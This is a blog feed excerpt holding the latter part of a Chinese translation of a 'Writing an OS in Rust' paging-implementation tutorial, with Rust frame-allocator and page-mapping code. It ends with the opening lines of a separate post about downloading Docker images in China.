&lt;p&gt;实现&lt;code&gt;FrameAllocator&lt;&#x2F;code&gt;是不安全的，因为实现者必须保证分配器只产生未使用的帧。否则，可能会发生未定义的行为，例如，当两个虚拟页被映射到同一个物理帧时。我们的 “空框架分配器 “只返回 “无”，所以在这种情况下，这不是一个问题。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;link-xuan-ze-yi-ge-xu-ni-ye-mian&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#xuan-ze-yi-ge-xu-ni-ye-mian&quot;&gt;🔗&lt;&#x2F;a&gt;选择一个虚拟页面&lt;&#x2F;h4&gt;
&lt;p&gt;我们现在有一个简单的框架分配器，我们可以把它传递给我们的&lt;code&gt;create_example_mapping&lt;&#x2F;code&gt;函数。然而，分配器总是返回 “无”，所以只有在创建映射时不需要额外的页表框架时，这才会起作用。为了理解什么时候需要额外的页表框架，什么时候不需要，让我们考虑一个例子。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;required-page-frames-example.svg&quot; alt=&quot;一个虚拟和一个物理地址空间，有一个单一的映射页和所有四级的页表&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;图中左边是虚拟地址空间，右边是物理地址空间，中间是页表。页表被存储在物理内存框架中，用虚线表示。虚拟地址空间包含一个地址为&lt;code&gt;0x803fe00000&lt;&#x2F;code&gt;的单一映射页，用蓝色标记。为了将这个页面转换到它的框架，CPU在4级页表上行走，直到到达地址为36 KiB的框架。&lt;&#x2F;p&gt;
&lt;p&gt;此外，该图用红色显示了VGA文本缓冲区的物理帧。我们的目标是使用&lt;code&gt;create_example_mapping&lt;&#x2F;code&gt;函数将一个先前未映射的虚拟页映射到这个帧。由于我们的&lt;code&gt;EmptyFrameAllocator&lt;&#x2F;code&gt;总是返回&lt;code&gt;None&lt;&#x2F;code&gt;，我们想创建映射，这样就不需要分配器提供额外的帧。这取决于我们为映射选择的虚拟页。&lt;&#x2F;p&gt;
&lt;p&gt;图中显示了虚拟地址空间中的两个候选页，都用黄色标记。一个页面在地址&lt;code&gt;0x803fdfd000&lt;&#x2F;code&gt;，比映射的页面（蓝色）早3页。虽然4级和3级页表的索引与蓝色页相同，但2级和1级的索引不同（见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;paging-introduction&#x2F;#paging-on-x86-64&quot;&gt;上一篇&lt;&#x2F;a&gt;）。2级表的不同索引意味着这个页面使用了一个不同的1级表。由于这个1级表还不存在，如果我们选择该页作为我们的例子映射，我们就需要创建它，这就需要一个额外的未使用的物理帧。相比之下，地址为&lt;code&gt;0x803fe02000&lt;&#x2F;code&gt;的第二个候选页就没有这个问题，因为它使用了与蓝色页面相同的1级页表。因此，所有需要的页表都已经存在。&lt;&#x2F;p&gt;
&lt;p&gt;总之，创建一个新的映射的难度取决于我们想要映射的虚拟页。在最简单的情况下，该页的1级页表已经存在，我们只需要写一个条目。在最困难的情况下，该页是在一个还不存在第三级的内存区域，所以我们需要先创建新的第三级、第二级和第一级页表。&lt;&#x2F;p&gt;
&lt;p&gt;为了用 “EmptyFrameAllocator “调用我们的 “create_example_mapping “函数，我们需要选择一个所有页表都已存在的页面。为了找到这样的页面，我们可以利用bootloader在虚拟地址空间的第一兆字节内加载自己的事实。这意味着这个区域的所有页面都存在一个有效的1级表。因此，我们可以选择这个内存区域中任何未使用的页面作为我们的例子映射，比如地址为&lt;code&gt;0&lt;&#x2F;code&gt;的页面。通常情况下，这个页面应该保持未使用状态，以保证解读空指针会导致页面故障，所以我们知道bootloader没有将其映射。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;link-chuang-jian-ying-she&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#chuang-jian-ying-she&quot;&gt;🔗&lt;&#x2F;a&gt;创建映射&lt;&#x2F;h4&gt;
&lt;p&gt;现在我们有了调用&lt;code&gt;create_example_mapping&lt;&#x2F;code&gt;函数所需的所有参数，所以让我们修改&lt;code&gt;kernel_main&lt;&#x2F;code&gt;函数来映射虚拟地址&lt;code&gt;0&lt;&#x2F;code&gt;的页面。由于我们将页面映射到VGA文本缓冲区的帧上，我们应该能够在之后通过它写到屏幕上。实现起来是这样的。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;main.rs

fn kernel_main(boot_info: &amp;amp;&amp;#x27;static BootInfo) -&amp;gt; ! {
    use blog_os::memory;
    use x86_64::{structures::paging::Page, VirtAddr}; &amp;#x2F;&amp;#x2F; 新的导入

    […] &amp;#x2F;&amp;#x2F; hello world and blog_os::init

    let phys_mem_offset = VirtAddr::new(boot_info.physical_memory_offset);
    let mut mapper = unsafe { memory::init(phys_mem_offset) };
    let mut frame_allocator = memory::EmptyFrameAllocator;

    &amp;#x2F;&amp;#x2F; 映射未使用的页
    let page = Page::containing_address(VirtAddr::new(0));
    memory::create_example_mapping(page, &amp;amp;mut mapper, &amp;amp;mut frame_allocator);

    &amp;#x2F;&amp;#x2F; 通过新的映射将字符串 `New!`  写到屏幕上。
    let page_ptr: *mut u64 = page.start_address().as_mut_ptr();
    unsafe { page_ptr.offset(400).write_volatile(0x_f021_f077_f065_f04e)};

    […] &amp;#x2F;&amp;#x2F; test_main(), &amp;quot;it did not crash&amp;quot; printing, and hlt_loop()
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们首先通过调用 “create_example_mapping “函数为地址为0的页面创建映射，并为 “mapper “和 “frame_allocator “实例提供一个可变的引用。这将页面映射到VGA文本缓冲区框架，所以我们应该在屏幕上看到对它的任何写入。&lt;&#x2F;p&gt;
&lt;p&gt;然后我们将页面转换为原始指针，并写一个值到偏移量&lt;code&gt;400&lt;&#x2F;code&gt;。我们不写到页面的开始，因为VGA缓冲区的顶行被下一个&lt;code&gt;println&lt;&#x2F;code&gt;直接移出了屏幕。我们写值&lt;code&gt;0x_f021_f077_f065_f04e&lt;&#x2F;code&gt;，表示白色背景上的字符串  &lt;em&gt;“New!”&lt;&#x2F;em&gt;  。正如我们&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;vga-text-mode&#x2F;#volatile&quot;&gt;在 &lt;&#x2F;a&gt;&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;vga-text-mode&#x2F;#volatile&quot;&gt;“VGA文本模式”&lt;&#x2F;a&gt;&lt;&#x2F;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;vga-text-mode&#x2F;#volatile&quot;&gt; 帖子中&lt;&#x2F;a&gt;所学到的，对VGA缓冲区的写入应该是不稳定的，所以我们使用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;write_volatile&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;方法。当我们在QEMU中运行它时，我们看到以下输出。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;qemu-new-mapping.png&quot; alt=&quot;QEMU打印 “It did not crash!”，屏幕中间有四个完全白色的单元格。&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;屏幕上的  &lt;em&gt;“New!”&lt;&#x2F;em&gt;  是由我们写到页&lt;code&gt;0&lt;&#x2F;code&gt;引起的，这意味着我们成功地在页表中创建了一个新的映射。&lt;&#x2F;p&gt;
&lt;p&gt;创建该映射只是因为负责地址为&lt;code&gt;0&lt;&#x2F;code&gt;的页面的1级表已经存在。当我们试图映射一个还不存在一级表的页面时，&lt;code&gt;map_to&lt;&#x2F;code&gt;函数失败了，因为它试图通过用&lt;code&gt;EmptyFrameAllocator&lt;&#x2F;code&gt;分配帧来创建新的页表。当我们试图映射&lt;code&gt;0xdeadbeaf000&lt;&#x2F;code&gt;而不是&lt;code&gt;0&lt;&#x2F;code&gt;页面时，我们可以看到这种情况发生。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;main.rs

fn kernel_main(boot_info: &amp;amp;&amp;#x27;static BootInfo) -&amp;gt; ! {
    […]
    let page = Page::containing_address(VirtAddr::new(0xdeadbeaf000));
    […]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当我们运行它时，出现了恐慌，并有以下错误信息。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;panicked at &amp;#x27;map_to failed: FrameAllocationFailed&amp;#x27;, &amp;#x2F;…&amp;#x2F;result.rs:999:5
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;为了映射那些还没有一级页表的页面，我们需要创建一个合适的&lt;code&gt;FrameAllocator&lt;&#x2F;code&gt;。但是我们如何知道哪些帧是未使用的，以及有多少物理内存是可用的？&lt;&#x2F;p&gt;
&lt;h3 id=&quot;link-fen-pei-ye-kuang&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#fen-pei-ye-kuang&quot;&gt;🔗&lt;&#x2F;a&gt;分配页框&lt;&#x2F;h3&gt;
&lt;p&gt;为了创建新的页表，我们需要创建一个合适的框架分配器。为了做到这一点，我们使用由bootloader传递的&lt;code&gt;memory_map&lt;&#x2F;code&gt;，作为&lt;code&gt;BootInfo&lt;&#x2F;code&gt;结构的一部分。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;memory.rs

use bootloader::bootinfo::MemoryMap;

&amp;#x2F;&amp;#x2F;&amp;#x2F; 一个FrameAllocator，从bootloader的内存地图中返回可用的 frames。
pub struct BootInfoFrameAllocator {
    memory_map: &amp;amp;&amp;#x27;static MemoryMap,
    next: usize,
}

impl BootInfoFrameAllocator {
    &amp;#x2F;&amp;#x2F;&amp;#x2F; 从传递的内存 map 中创建一个FrameAllocator。
    &amp;#x2F;&amp;#x2F;&amp;#x2F;
    &amp;#x2F;&amp;#x2F;&amp;#x2F; 这个函数是不安全的，因为调用者必须保证传递的内存 map 是有效的。
    &amp;#x2F;&amp;#x2F;&amp;#x2F; 主要的要求是，所有在其中被标记为 &amp;quot;可用 &amp;quot;的帧都是真正未使用的。
    pub unsafe fn init(memory_map: &amp;amp;&amp;#x27;static MemoryMap) -&amp;gt; Self {
        BootInfoFrameAllocator {
            memory_map,
            next: 0,
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;该结构有两个字段。一个是对bootloader传递的内存 map 的 &lt;code&gt;&#x27;static&lt;&#x2F;code&gt;  引用，一个是跟踪分配器应该返回的下一帧的 &lt;code&gt;next&lt;&#x2F;code&gt;字段。&lt;&#x2F;p&gt;
&lt;p&gt;正如我们在*&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#qi-dong-xin-xi&quot;&gt;启动信息&lt;&#x2F;a&gt;*部分所解释的，内存图是由 BIOS&#x2F;UEFI 固件提供的。它只能在启动过程的早期被查询，所以引导程序已经为我们调用了相应的函数。内存地图由&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;MemoryRegion&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;结构列表组成，其中包含每个内存区域的起始地址、长度和类型（如未使用、保留等）。&lt;code&gt;init&lt;&#x2F;code&gt;函数用一个给定的内存映射初始化一个&lt;code&gt;BootInfoFrameAllocator&lt;&#x2F;code&gt;。&lt;code&gt;next&lt;&#x2F;code&gt;字段被初始化为&lt;code&gt;0&lt;&#x2F;code&gt;，并将在每次分配帧时增加，以避免两次返回相同的帧。由于我们不知道内存映射的可用帧是否已经在其他地方被使用，我们的&lt;code&gt;init&lt;&#x2F;code&gt;函数必须是&lt;code&gt;不安全的&lt;&#x2F;code&gt;，以要求调用者提供额外的保证。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;link-yi-ge-usable-frames-fang-fa&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#yi-ge-usable-frames-fang-fa&quot;&gt;🔗&lt;&#x2F;a&gt;一个 &lt;code&gt;usable_frames&lt;&#x2F;code&gt; 方法&lt;&#x2F;h4&gt;
&lt;p&gt;在我们实现&lt;code&gt;FrameAllocator&lt;&#x2F;code&gt;特性之前，我们添加一个辅助方法，将内存映射转换为可用帧的迭代器。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;memory.rs

use bootloader::bootinfo::MemoryRegionType;

impl BootInfoFrameAllocator {
    &amp;#x2F;&amp;#x2F;&amp;#x2F; 返回内存映射中指定的可用框架的迭代器。
    fn usable_frames(&amp;amp;self) -&amp;gt; impl Iterator&amp;lt;Item = PhysFrame&amp;gt; {
        &amp;#x2F;&amp;#x2F; 从内存 map 中获取可用的区域
        let regions = self.memory_map.iter();
        let usable_regions = regions
            .filter(|r| r.region_type == MemoryRegionType::Usable);
        &amp;#x2F;&amp;#x2F; 将每个区域映射到其地址范围
        let addr_ranges = usable_regions
            .map(|r| r.range.start_addr()..r.range.end_addr());
        &amp;#x2F;&amp;#x2F; 转化为一个帧起始地址的迭代器
        let frame_addresses = addr_ranges.flat_map(|r| r.step_by(4096));
        &amp;#x2F;&amp;#x2F; 从起始地址创建 `PhysFrame`  类型
        frame_addresses.map(|addr| PhysFrame::containing_address(PhysAddr::new(addr)))
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个函数使用迭代器组合方法将初始的&lt;code&gt;MemoryMap&lt;&#x2F;code&gt;转化为可用的物理帧的迭代器。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先，我们调用&lt;code&gt;iter&lt;&#x2F;code&gt;方法，将内存映射转换为多个
&lt;code&gt;MemoryRegion&lt;&#x2F;code&gt;
的迭代器。&lt;&#x2F;p&gt;
&lt;p&gt;然后我们使用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;filter&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;方法跳过任何保留或其他不可用的区域。Bootloader为它创建的所有映射更新了内存地图，所以被我们的内核使用的帧（代码、数据或堆栈）或存储启动信息的帧已经被标记为&lt;code&gt;InUse&lt;&#x2F;code&gt;或类似的。因此，我们可以确定 “可使用” 的帧没有在其他地方使用。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;之后，我们使用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;map&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;组合器和Rust的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;core&#x2F;ops&#x2F;struct.Range.html&quot;&gt;range语法&lt;&#x2F;a&gt;将我们的内存区域迭代器转化为地址范围的迭代器。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;接下来，我们使用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;flat_map&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;将地址范围转化为帧起始地址的迭代器，使用&lt;code&gt;step_by&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;选择每4096个地址。由于4096字节（=4 KiB）是页面大小，我们得到了每个帧的起始地址。Bootloader对所有可用的内存区域进行页对齐，所以我们在这里不需要任何对齐或舍入代码。通过使用&lt;code&gt;flat_map&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;而不是&lt;code&gt;map&lt;&#x2F;code&gt;，我们得到一个&lt;code&gt;Iterator&amp;lt;Item = PhysFrame&amp;gt;&lt;&#x2F;code&gt;而不是&lt;code&gt;Iterator&amp;lt;Item = Iterator&amp;lt;Item = u64&amp;gt;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;最后，我们将起始地址转换为 &lt;code&gt;PhysFrame&lt;&#x2F;code&gt; 类型，以构建一个 &lt;code&gt;Iterator&amp;lt;Item = PhysFrame&amp;gt;&lt;&#x2F;code&gt;。
该函数的返回类型使用了&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;code&gt;impl Trait&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;特性。这样，我们可以指定返回某个实现&lt;code&gt;Iterator&amp;lt;Item = PhysFrame&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;特质的类型，项目类型为&lt;code&gt;PhysFrame&lt;&#x2F;code&gt;，但不需要命名具体的返回类型。这在这里很重要，因为我们不能命名具体的类型，因为它依赖于不可命名的闭包类型。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;link-shi-xian-frameallocator-trait&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#shi-xian-frameallocator-trait&quot;&gt;🔗&lt;&#x2F;a&gt;实现  &lt;code&gt;FrameAllocator&lt;&#x2F;code&gt; Trait&lt;&#x2F;h4&gt;
&lt;p&gt;现在我们可以实现 &lt;code&gt;FrameAllocator&lt;&#x2F;code&gt; trait:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;memory.rs

unsafe impl FrameAllocator&amp;lt;Size4KiB&amp;gt; for BootInfoFrameAllocator {
    fn allocate_frame(&amp;amp;mut self) -&amp;gt; Option&amp;lt;PhysFrame&amp;gt; {
        let frame = self.usable_frames().nth(self.next);
        self.next += 1;
        frame
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们首先使用&lt;code&gt;usable_frames&lt;&#x2F;code&gt;方法，从内存 map 中获得一个可用帧的迭代器。然后，我们使用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Iterator::nth&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;函数来获取索引为&lt;code&gt;self.next&lt;&#x2F;code&gt;的帧（从而跳过&lt;code&gt;(self.next - 1)&lt;&#x2F;code&gt;帧）。在返回该帧之前，我们将&lt;code&gt;self.next&lt;&#x2F;code&gt;增加1，以便在下次调用时返回下一帧。这个实现不是很理想，因为它在每次分配时都会重新创建&lt;code&gt;usable_frame&lt;&#x2F;code&gt;分配器。最好的办法是直接将迭代器存储为一个结构域。这样我们就不需要&lt;code&gt;nth&lt;&#x2F;code&gt;方法了，可以在每次分配时直接调用&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;next&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;。这种方法的问题是，目前不可能将 “impl Trait “类型存储在一个结构字段中。当 &lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rust-lang&#x2F;rfcs&#x2F;pull&#x2F;2071&quot;&gt;named existential types&lt;&#x2F;a&gt;&lt;&#x2F;em&gt; 完全实现时，它可能会在某一天发挥作用。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;link-shi-yong-bootinfoframeallocator&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#shi-yong-bootinfoframeallocator&quot;&gt;🔗&lt;&#x2F;a&gt;使用 &lt;code&gt;BootInfoFrameAllocator&lt;&#x2F;code&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;我们现在可以修改我们的&lt;code&gt;kernel_main&lt;&#x2F;code&gt;函数来传递一个&lt;code&gt;BootInfoFrameAllocator&lt;&#x2F;code&gt;实例，而不是&lt;code&gt;EmptyFrameAllocator&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;main.rs

fn kernel_main(boot_info: &amp;amp;&amp;#x27;static BootInfo) -&amp;gt; ! {
    use blog_os::memory::BootInfoFrameAllocator;
    […]
    let mut frame_allocator = unsafe {
        BootInfoFrameAllocator::init(&amp;amp;boot_info.memory_map)
    };
    […]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过启动信息框架分配器，映射成功了，我们又在屏幕上看到了白底黑字的  &lt;em&gt;“New!”&lt;&#x2F;em&gt;   。在幕后，&lt;code&gt;map_to&lt;&#x2F;code&gt;方法以如下方式创建了丢失的页表。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;使用传递的&lt;code&gt;frame_allocator&lt;&#x2F;code&gt;来分配一个未使用的框架。&lt;&#x2F;li&gt;
&lt;li&gt;将框架归零，创建一个新的、空的页表。&lt;&#x2F;li&gt;
&lt;li&gt;将上一级表的条目映射到该框架。&lt;&#x2F;li&gt;
&lt;li&gt;继续下一级的表。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;虽然我们的&lt;code&gt;create_example_mapping&lt;&#x2F;code&gt;函数只是一些示例代码，但我们现在能够为任意的页面创建新的映射。这对于分配内存或在未来的文章中实现多线程是至关重要的。&lt;&#x2F;p&gt;
&lt;p&gt;此时，我们应该再次删除&lt;code&gt;create_example_mapping&lt;&#x2F;code&gt;函数，以避免意外地调用未定义的行为，正如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#create-example-mapping-han-shu&quot;&gt;上面&lt;&#x2F;a&gt; 所解释的那样。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;link-zong-jie&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#zong-jie&quot;&gt;🔗&lt;&#x2F;a&gt;总结&lt;&#x2F;h2&gt;
&lt;p&gt;在这篇文章中，我们了解了访问页表物理框架的不同技术，包括直接映射、完整物理内存的映射、临时映射和递归页表。我们选择了映射完整的物理内存，因为它简单、可移植，而且功能强大。&lt;&#x2F;p&gt;
&lt;p&gt;我们不能在没有页表访问的情况下从我们的内核映射物理内存，所以我们需要bootloader的支持。&lt;code&gt;bootloader&lt;&#x2F;code&gt;板块支持通过可选的 cargo 板块功能创建所需的映射。它以“&amp;amp;BootInfo “参数的形式将所需信息传递给我们的内核。&lt;&#x2F;p&gt;
&lt;p&gt;对于我们的实现，我们首先手动遍历页表以实现翻译功能，然后使用&lt;code&gt;x86_64&lt;&#x2F;code&gt;板块的&lt;code&gt;MappedPageTable&lt;&#x2F;code&gt;类型。我们还学习了如何在页表中创建新的映射，以及如何在引导程序传递的内存映射之上创建必要的 “FrameAllocator”。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;link-xia-pian-wen-zhang-shi-shen-me&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#xia-pian-wen-zhang-shi-shen-me&quot;&gt;🔗&lt;&#x2F;a&gt;下篇文章是什么？&lt;&#x2F;h2&gt;
&lt;p&gt;下一篇文章将为我们的内核创建一个堆内存区域，这将允许我们&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;alloc&#x2F;boxed&#x2F;struct.Box.html&quot;&gt;分配内存&lt;&#x2F;a&gt;和使用各种&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;alloc&#x2F;collections&#x2F;index.html&quot;&gt;集合类型&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhi-chi-wo&quot;&gt;支持我&lt;&#x2F;h2&gt;
&lt;p&gt;创建和维护这个博客以及相关的库带来了十分庞大的工作量，即便我十分热爱它们，仍然需要你们的支持。通过赞助我，可以让我有能投入更多时间与精力在创造新内容，开发新功能上。赞助我最好的办法是通过*&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sponsors&#x2F;phil-opp&quot;&gt;sponsor me on GitHub&lt;&#x2F;a&gt;*. 十分感谢各位！&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-introduction&#x2F;&quot;&gt;« 内存分页初探&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>如何一键优雅在国内下载docker镜像</title>
        <published>2025-03-04T00:00:00+00:00</published>
        <updated>2025-03-04T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/如何一键优雅在国内下载docker镜像/"/>
        <id>https://vercel.juzhong.asia/obsidian/如何一键优雅在国内下载docker镜像/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/如何一键优雅在国内下载docker镜像/">&lt;h1 id=&quot;ru-he-yi-jian-you-ya-zai-guo-nei-xia-zai-dockerjing-xiang&quot;&gt;如何一键优雅在国内下载docker镜像&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;gitee.com&#x2F;itopen&quot;&gt;itopen组织&lt;&#x2F;a&gt;
1、提供&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=245352596&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=OpenHarmony&amp;amp;zhida_source=entity&quot;&gt;OpenHarmony&lt;&#x2F;a&gt;
优雅实用的小工具
2、手把手适配&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=245352596&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=riscv&amp;amp;zhida_source=entity&quot;&gt;riscv&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=245352596&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=qemu&amp;amp;zhida_source=entity&quot;&gt;qemu&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;linux的三方库移植
3、未来计划riscv + qemu + &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=245352596&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=ohos&amp;amp;zhida_source=entity&quot;&gt;ohos&lt;&#x2F;a&gt;
的三方库移植 + 小程序开发
4、一切拥抱开源，拥抱国产化&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;wen-dang-jie-shao&quot;&gt;文档介绍&lt;&#x2F;h2&gt;
&lt;p&gt;鉴于当前国内网站无法下载正常下载docker镜像，从B站参考大神技术爬爬虾学习如何快速配置解决无法下载docker的问题，果然还是B站大神多。也感谢技术爬爬虾的免费分享。
